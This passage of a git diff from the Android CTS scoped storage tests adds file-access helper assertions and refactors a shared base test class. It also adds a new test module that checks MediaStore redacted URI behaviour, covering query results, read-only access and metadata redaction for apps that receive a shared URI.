+ assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath)).contains(
+ pendingOrTrashedFile.getName());
+ } else {
+ // System Gallery can't see other app's pending or trashed non media file.
+ assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath))
+ .doesNotContain(pendingOrTrashedFile.getName());
+ }
+ } finally {
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ private Uri createPendingFile(File pendingFile) throws Exception {
+ assertTrue(pendingFile.createNewFile());
+
+ final ContentResolver cr = getContentResolver();
+ final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
+ assertNotNull(trashedFileUri);
+
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.IS_PENDING, 1);
+ assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
+
+ return trashedFileUri;
+ }
+
+ private Uri createTrashedFile(File trashedFile) throws Exception {
+ assertTrue(trashedFile.createNewFile());
+
+ final ContentResolver cr = getContentResolver();
+ final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
+ assertNotNull(trashedFileUri);
+
+ trashFileAndAssert(trashedFileUri);
+ return trashedFileUri;
+ }
+
+ /**
+ * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
+ * multiple db rows, file path is extracted from the first db row of the database query result.
+ */
+ private String getFilePathFromUri(Uri uri) {
+ final String[] projection = new String[] {MediaStore.MediaColumns.DATA};
+ try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
+ assertTrue(c.moveToFirst());
+ return c.getString(0);
+ }
+ }
+
+ private boolean isMediaTypeImageOrVideo(File file) {
+ return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
+ }
+
+ private static void assertIsMediaTypeImage(File file) {
+ final Cursor c = queryImageFile(file);
+ assertEquals(1, c.getCount());
+ }
+
+ private static void assertNotMediaTypeImage(File file) {
+ final Cursor c = queryImageFile(file);
+ assertEquals(0, c.getCount());
+ }
+
+ private static void assertCantQueryFile(File file) {
+ assertThat(getFileUri(file)).isNull();
+ // Confirm that file exists in the database.
+ assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+ }
+
+ private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
+ for (File file : files) {
+ assertFalse("File already exists: " + file, file.exists());
+ assertTrue("Failed to create file " + file + " on behalf of "
+ + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+ }
+ }
+
+ /**
+ * Makes {@code testApp} create {@code files}. Publishes {@code files} by scanning the file.
+ * Pending files from FUSE are not visible to other apps via MediaStore APIs. We have to publish
+ * the file or make the file non-pending to make the file visible to other apps.
+ * <p>
+ * Note that this method can only be used for scannable files.
+ */
+ private static void assertCreatePublishedFilesAs(TestApp testApp, File... files)
+ throws Exception {
+ for (File file : files) {
+ assertTrue("Failed to create published file " + file + " on behalf of "
+ + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+ assertNotNull("Failed to scan " + file,
+ MediaStore.scanFile(getContentResolver(), file));
+ }
+ }
+
+
+ private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
+ for (File file : files) {
+ deleteFileAs(testApp, file.getPath());
+ }
+ }
+ private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
+ throws Exception {
+ for (String path: filePaths) {
+ assertTrue("Failed to delete file " + path + " on behalf of "
+ + testApp.getPackageName(), deleteFileAs(testApp, path));
+ }
+ }
+
+ private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
+ throws Exception {
+ for (String path: filePaths) {
+ assertFalse("Deleting " + path + " on behalf of " + testApp.getPackageName()
+ + " was expected to fail", deleteFileAs(testApp, path));
+ }
+ }
+
+ private void deleteFiles(File... files) {
+ for (File file: files) {
+ if (file == null) continue;
+ file.delete();
+ }
+ }
+
+ private void deletePaths(String... paths) {
+ for (String path: paths) {
+ if (path == null) continue;
+ new File(path).delete();
+ }
+ }
+
+ private static void assertCanDeletePaths(String... filePaths) {
+ for (String filePath : filePaths) {
+ assertTrue("Failed to delete " + filePath,
+ new File(filePath).delete());
+ }
+ }
+
+ /**
+ * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
+ */
+ private static void assertCanQueryAndOpenFile(File file, String mode) throws IOException {
+ // This call performs the query
+ final Uri fileUri = getFileUri(file);
+ // The query succeeds iff it didn't return null
+ assertThat(fileUri).isNotNull();
+ // Now we assert that we can open the file through ContentResolver
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(fileUri, mode)) {
+ assertThat(pfd).isNotNull();
+ }
+ }
+
+ /**
+ * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
+ * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
+ * underlying file on disk but may be derived from different mount points and in that case
+ * have separate VFS caches.
+ */
+ private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
+ throws Exception {
+ FileDescriptor readFd = readPfd.getFileDescriptor();
+ FileDescriptor writeFd = writePfd.getFileDescriptor();
+
+ byte[] readBuffer = new byte[10];
+ byte[] writeBuffer = new byte[10];
+ Arrays.fill(writeBuffer, (byte) 1);
+
+ // Write so readFd has content to read from next
+ Os.pwrite(readFd, readBuffer, 0, 10, 0);
+ // Read so readBuffer is in readFd's mount VFS cache
+ Os.pread(readFd, readBuffer, 0, 10, 0);
+
+ // Assert that readBuffer is zeroes
+ assertThat(readBuffer).isEqualTo(new byte[10]);
+
+ // Write so writeFd and readFd should now see writeBuffer
+ Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
+
+ // Read so the last write can be verified on readFd
+ Os.pread(readFd, readBuffer, 0, 10, 0);
+
+ // Assert that the last write is indeed visible via readFd
+ assertThat(readBuffer).isEqualTo(writeBuffer);
+ assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
+ }
+
+ private void assertStartsWith(String actual, String prefix) throws Exception {
+ String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
+
+ assertWithMessage(message).that(actual).startsWith(prefix);
+ }
+
+ private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
+ String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+ String prefix = "/storage";
+
+ assertStartsWith(path, prefix);
+ }
+
+ private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
+ String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+ String prefix = "/mnt/user";
+
+ assertStartsWith(path, prefix);
+ }
+
+ private void assertLowerFsFdWithPassthrough(final String path, ParcelFileDescriptor pfd)
+ throws Exception {
+ final ContentResolver resolver = getTargetContext().getContentResolver();
+ final Bundle res = resolver.call(MediaStore.AUTHORITY, "uses_fuse_passthrough", path, null);
+ boolean passthroughEnabled = res.getBoolean("uses_fuse_passthrough_result");
+
+ if (passthroughEnabled) {
+ assertUpperFsFd(pfd);
+ } else {
+ assertLowerFsFd(pfd);
+ }
+ }
+
+ private static void assertCanCreateFile(File file) throws IOException {
+ // If the file somehow managed to survive a previous run, then the test app was uninstalled
+ // and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
+ // we can create nor delete it.
+ if (!file.exists()) {
+ assertThat(file.createNewFile()).isTrue();
+ assertThat(file.delete()).isTrue();
+ } else {
+ Log.w(TAG,
+ "Couldn't assertCanCreateFile(" + file + ") because file existed prior to "
+ + "running the test!");
+ }
+ }
+
+ private static void assertCannotReadOrWrite(File file)
+ throws Exception {
+ // App data directories have different 'x' bits on upgrading vs new devices. Let's not
+ // check 'exists', by passing checkExists=false. But assert this app cannot read or write
+ // the other app's file.
+ assertAccess(file, false /* value is moot */, false /* canRead */,
+ false /* canWrite */, false /* checkExists */);
+ }
+
+ private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
+ throws Exception {
+ assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
+ }
+
+ private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite,
+ boolean checkExists) throws Exception {
+ if (checkExists) {
+ assertThat(file.exists()).isEqualTo(exists);
+ }
+ assertThat(file.canRead()).isEqualTo(canRead);
+ assertThat(file.canWrite()).isEqualTo(canWrite);
+ if (file.isDirectory()) {
+ if (checkExists) {
+ assertThat(file.canExecute()).isEqualTo(exists);
+ }
+ } else {
+ assertThat(file.canExecute()).isFalse(); // Filesytem is mounted with MS_NOEXEC
+ }
+
+ // Test some combinations of mask.
+ assertAccess(file, R_OK, canRead);
+ assertAccess(file, W_OK, canWrite);
+ assertAccess(file, R_OK | W_OK, canRead && canWrite);
+ assertAccess(file, W_OK | F_OK, canWrite);
+
+ if (checkExists) {
+ assertAccess(file, F_OK, exists);
+ }
+ }
+
+ private static void assertAccess(File file, int mask, boolean expected) throws Exception {
+ if (expected) {
+ assertThat(Os.access(file.getAbsolutePath(), mask)).isTrue();
+ } else {
+ assertThrows(ErrnoException.class, () -> {
+ Os.access(file.getAbsolutePath(), mask);
+ });
+ }
+ }
+
+ /**
+ * Creates a file at any location on storage (except external app data directory).
+ * The owner of the file is not the caller app.
+ */
+ private void createFileAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to create this file, since it could be outside shared storage.
+ Log.d(TAG, "Creating file " + file);
+ assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
+ }
+
+ /**
+ * Creates a file at any location on storage (except external app data directory).
+ * The owner of the file is not the caller app.
+ */
+ private void createDirectoryAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to create this file, since it could be outside shared storage.
+ Log.d(TAG, "Creating directory " + file);
+ // Create a tmp file in the target directory, this would also create the required
+ // directory, then delete the tmp file. It would leave only new directory.
+ assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+ assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+ }
+
+ /**
+ * Deletes a file or directory at any location on storage (except external app data directory).
+ */
+ private void deleteAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to delete this file, since it could be outside shared storage.
+ Log.d(TAG, "Deleting file " + file);
+ deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
+ }
+
+ /**
+ * Deletes the given file/directory recursively. If the file is a directory, then deletes all
+ * of its children (files or directories) recursively.
+ */
+ private void deleteRecursivelyAsLegacyApp(File dir) throws Exception {
+ // Use a legacy app to delete this directory, since it could be outside shared storage.
+ Log.d(TAG, "Deleting directory " + dir);
+ deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath());
+ }
+}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/ScopedStorageBaseDeviceTest.java
index 95ea734f39d..92b9ee64e07 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/ScopedStorageBaseDeviceTest.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.scopedstorage.cts.device;
+package android.scopedstorage.cts.lib;
import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
@@ -28,14 +28,13 @@ import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
import android.provider.MediaStore;
-import android.scopedstorage.cts.lib.TestUtils;
import static org.junit.Assume.assumeTrue;
import java.util.Arrays;
import java.util.List;
-class ScopedStorageBaseDeviceTest {
+public class ScopedStorageBaseDeviceTest {
private static final String VOLUME_PUBLIC = "volume_public";
private static void createPublicVolume() throws Exception {
@@ -51,7 +50,7 @@ class ScopedStorageBaseDeviceTest {
}
}
- void setupExternalStorage(String volumeName) throws Exception {
+ public void setupExternalStorage(String volumeName) throws Exception {
assertThat(volumeName).isNotNull();
if (volumeName.equals(MediaStore.VOLUME_EXTERNAL)) {
@@ -74,7 +73,7 @@ class ScopedStorageBaseDeviceTest {
setupDefaultDirectories();
}
- static List<String> getTestParameters() {
+ public static List<String> getTestParameters() {
return Arrays.asList(
MediaStore.VOLUME_EXTERNAL,
VOLUME_PUBLIC
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index a824a1558aa..3db6007cf43 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -756,12 +756,7 @@ public class TestUtils {
Install.single(testApp).commit();
assertThat(InstallUtils.getInstalledVersion(packageName)).isEqualTo(1);
if (grantStoragePermission) {
- grantPermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
- if (SdkLevel.isAtLeastT()) {
- grantPermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
- grantPermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
- grantPermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
- }
+ addressStoragePermissions(packageName, true);
}
Log.d(TAG, String.format("Successfully installed %s app", testApp.getPackageName()));
} finally {
@@ -769,6 +764,27 @@ public class TestUtils {
}
}
+ /**
+ * Grants or revokes storage read permissions.
+ */
+ public static void addressStoragePermissions(String packageName, boolean grantPermission) {
+ if (grantPermission) {
+ grantPermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
+ if (SdkLevel.isAtLeastT()) {
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
+ }
+ } else {
+ revokePermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
+ if (SdkLevel.isAtLeastT()) {
+ revokePermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
+ revokePermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
+ revokePermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
+ }
+ }
+ }
+
public static boolean isAppInstalled(TestApp testApp) {
boolean isAppInstalled = InstallUtils.getInstalledVersion(testApp.getPackageName()) != -1;
diff --git a/hostsidetests/scopedstorage/redacturi/AndroidManifest.xml b/hostsidetests/scopedstorage/redacturi/AndroidManifest.xml
new file mode 100644
index 00000000000..96d792e6116
--- /dev/null
+++ b/hostsidetests/scopedstorage/redacturi/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.redacturi">
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <queries>
+ <package android:name="android.scopedstorage.cts.testapp.B.noperms" />
+ <package android:name="android.scopedstorage.cts.testapp.E" />
+ </queries>
+
+ <application android:label="Scoped Storage Device Redact Uri Tests">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.scopedstorage.cts.lib.GetResultActivity"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.scopedstorage.cts.redacturi"
+ android:label="Device-only scoped storage redact uri tests" />
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/redacturi/AndroidTest.xml b/hostsidetests/scopedstorage/redacturi/AndroidTest.xml
new file mode 100644
index 00000000000..53722507b77
--- /dev/null
+++ b/hostsidetests/scopedstorage/redacturi/AndroidTest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Runs device-only tests for scoped storage">
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsScopedStorageRedactUriTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE.apk" />
+ </target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="test-suite-tag" value="cts" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.scopedstorage.cts.redacturi" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ </test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java
new file mode 100644
index 00000000000..b228dfe7e7b
--- /dev/null
+++ b/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java
@@ -0,0 +1,586 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.redacturi;
+
+
+import static android.content.Intent.FLAG_GRANT_READ_URI_PERMISSION;
+import static android.database.Cursor.FIELD_TYPE_BLOB;
+import static android.scopedstorage.cts.lib.TestUtils.addressStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenRedactedUriForWrite;
+import static android.scopedstorage.cts.lib.TestUtils.canQueryOnUri;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
+import static android.scopedstorage.cts.lib.TestUtils.forceStopApp;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
+import static android.scopedstorage.cts.lib.TestUtils.isFileDescriptorRedacted;
+import static android.scopedstorage.cts.lib.TestUtils.isFileOpenRedacted;
+import static android.scopedstorage.cts.lib.TestUtils.setShouldForceStopTestApp;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.database.Cursor;
+import android.media.ExifInterface;
+import android.net.Uri;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.system.Os;
+
+import androidx.test.filters.SdkSuppress;
+
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Device-side test suite to verify redacted URI operations.
+ */
+@RunWith(Parameterized.class)
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class RedactUriDeviceTest extends ScopedStorageBaseDeviceTest {
+
+ /**
+ * To help avoid flaky tests, give ourselves a unique nonce to be used for
+ * all filesystem paths, so that we don't risk conflicting with previous
+ * test runs.
+ */
+ static final String NONCE = String.valueOf(System.nanoTime());
+
+ static final String IMAGE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".jpg";
+
+ static final String FUZZER_HEIC_FILE_NAME =
+ "ScopedStorageDeviceTest_file_fuzzer_" + NONCE + ".heic";
+
+ // An app with no permissions
+ private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+ "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+ "CtsScopedStorageTestAppB.apk");
+
+ private static final TestApp APP_E = new TestApp("TestAppE",
+ "android.scopedstorage.cts.testapp.E", 1, false, "CtsScopedStorageTestAppE.apk");
+
+ @Parameterized.Parameter(0)
+ public String mVolumeName;
+
+ /** Parameters data. */
+ @Parameterized.Parameters(name = "volume={0}")
+ public static Iterable<? extends Object> data() {
+ return getTestParameters();
+ }
+
+ @BeforeClass
+ public static void setupApps() {
+ // Installed by target preparer
+ assertThat(checkPermission(APP_B_NO_PERMS,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+ setShouldForceStopTestApp(false);
+ }
+
+ @AfterClass
+ public static void destroy() {
+ setShouldForceStopTestApp(true);
+ }
+
+ @Test
+ public void testRedactedUri_single() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+
+ try {
+ final Uri uri = MediaStore.scanFile(getContentResolver(), img);
+ final Uri redactedUri = MediaStore.getRedactedUri(getContentResolver(), uri);
+ testRedactedUriCommon(uri, redactedUri);
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testRedactedUri_list() throws Exception {
+ List<Uri> uris = new ArrayList<>();
+ List<File> files = new ArrayList<>();
+
+ try {
+ for (int i = 0; i < 10; i++) {
+ File file = stageImageFileWithMetadata("img_metadata" + String.valueOf(
+ System.nanoTime()) + i + ".jpg");
+ files.add(file);
+ uris.add(MediaStore.scanFile(getContentResolver(), file));
+ }
+
+ final Collection<Uri> redactedUris = MediaStore.getRedactedUri(getContentResolver(),
+ uris);
+ int i = 0;
+ for (Uri redactedUri : redactedUris) {
+ Uri uri = uris.get(i++);
+ testRedactedUriCommon(uri, redactedUri);
+ }
+ } finally {
+ files.forEach(file -> file.delete());
+ }
+ }
+
+ @Test
+ public void testQueryOnRedactionUri() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri uri = MediaStore.scanFile(getContentResolver(), img);
+ final Uri redactedUri = MediaStore.getRedactedUri(getContentResolver(), uri);
+ final Cursor uriCursor = getContentResolver().query(uri, null, null, null);
+ final String redactedUriDir = ".transforms/synthetic/redacted";
+ final String redactedUriDirAbsolutePath =
+ Environment.getExternalStorageDirectory() + "/" + redactedUriDir;
+ try {
+ assertNotNull(uriCursor);
+ assertThat(uriCursor.moveToFirst()).isTrue();
+
+ final Cursor redactedUriCursor = getContentResolver().query(redactedUri, null, null,
+ null);
+ assertNotNull(redactedUriCursor);
+ assertThat(redactedUriCursor.moveToFirst()).isTrue();
+
+ assertEquals(redactedUriCursor.getColumnCount(), uriCursor.getColumnCount());
+
+ final String data = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.DATA);
+ final String redactedUriDisplayName = redactedUri.getLastPathSegment() + ".jpg";
+ assertEquals(redactedUriDirAbsolutePath + "/" + redactedUriDisplayName, data);
+
+ final String name = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.DISPLAY_NAME);
+ assertEquals(redactedUriDisplayName, name);
+
+ final String relativePath = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.RELATIVE_PATH);
+ assertEquals(redactedUriDir, relativePath);
+
+ final String bucketDisplayName = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.BUCKET_DISPLAY_NAME);
+ assertEquals(redactedUriDir, bucketDisplayName);
+
+ final String docId = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.DOCUMENT_ID);
+ assertNull(docId);
+
+ final String insId = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.INSTANCE_ID);
+ assertNull(insId);
+
+ final String bucId = getStringFromCursor(redactedUriCursor,
+ MediaStore.MediaColumns.BUCKET_ID);
+ assertNull(bucId);
+
+ final Collection<String> updatedCols = Arrays.asList(MediaStore.MediaColumns._ID,
+ MediaStore.MediaColumns.DISPLAY_NAME,
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ MediaStore.MediaColumns.BUCKET_DISPLAY_NAME,
+ MediaStore.MediaColumns.DATA,
+ MediaStore.MediaColumns.DOCUMENT_ID,
+ MediaStore.MediaColumns.INSTANCE_ID,
+ MediaStore.MediaColumns.BUCKET_ID);
+ for (String colName : uriCursor.getColumnNames()) {
+ if (!updatedCols.contains(colName)) {
+ if (uriCursor.getType(uriCursor.getColumnIndex(colName)) == FIELD_TYPE_BLOB) {
+ assertThat(
+ Arrays.equals(uriCursor.getBlob(uriCursor.getColumnIndex(colName)),
+ redactedUriCursor.getBlob(redactedUriCursor.getColumnIndex(
+ colName)))).isTrue();
+ } else {
+ assertEquals(getStringFromCursor(uriCursor, colName),
+ getStringFromCursor(redactedUriCursor, colName));
+ }
+ }
+ }
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that app can't open the shared redacted URI for write.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFdForWrite() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+ assertThrows(UnsupportedOperationException.class,
+ () -> canOpenRedactedUriForWrite(APP_B_NO_PERMS, redactedUri));
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that app with correct permission can open the shared redacted URI for read in
+ * redacted mode.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFdForRead() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ final Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+ assertThat(isFileDescriptorRedacted(APP_B_NO_PERMS, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that app with correct permission can open the shared redacted URI for read in
+ * redacted mode.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFileForRead() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+ assertThat(isFileOpenRedacted(APP_B_NO_PERMS, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that the app with redacted URI granted can query it.
+ **/
+ @Test
+ public void testSharedRedactedUri_query() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_B_NO_PERMS);
+ assertThat(canQueryOnUri(APP_B_NO_PERMS, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that for app with AML permission shared redacted URI opens for read in redacted mode.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFileForRead_withLocationPerm() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ forceStopApp(APP_E.getPackageName());
+ try {
+ addressStoragePermissions(APP_E.getPackageName(), true);
+ grantPermission(APP_E.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_E);
+ assertThat(isFileOpenRedacted(APP_E, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that for app with AML permission shared redacted URI opens for read in redacted mode.
+ **/
+ @Test
+ public void testSharedRedactedUri_openFdForRead_withLocationPerm() throws Exception {
+ forceStopApp(APP_E.getPackageName());
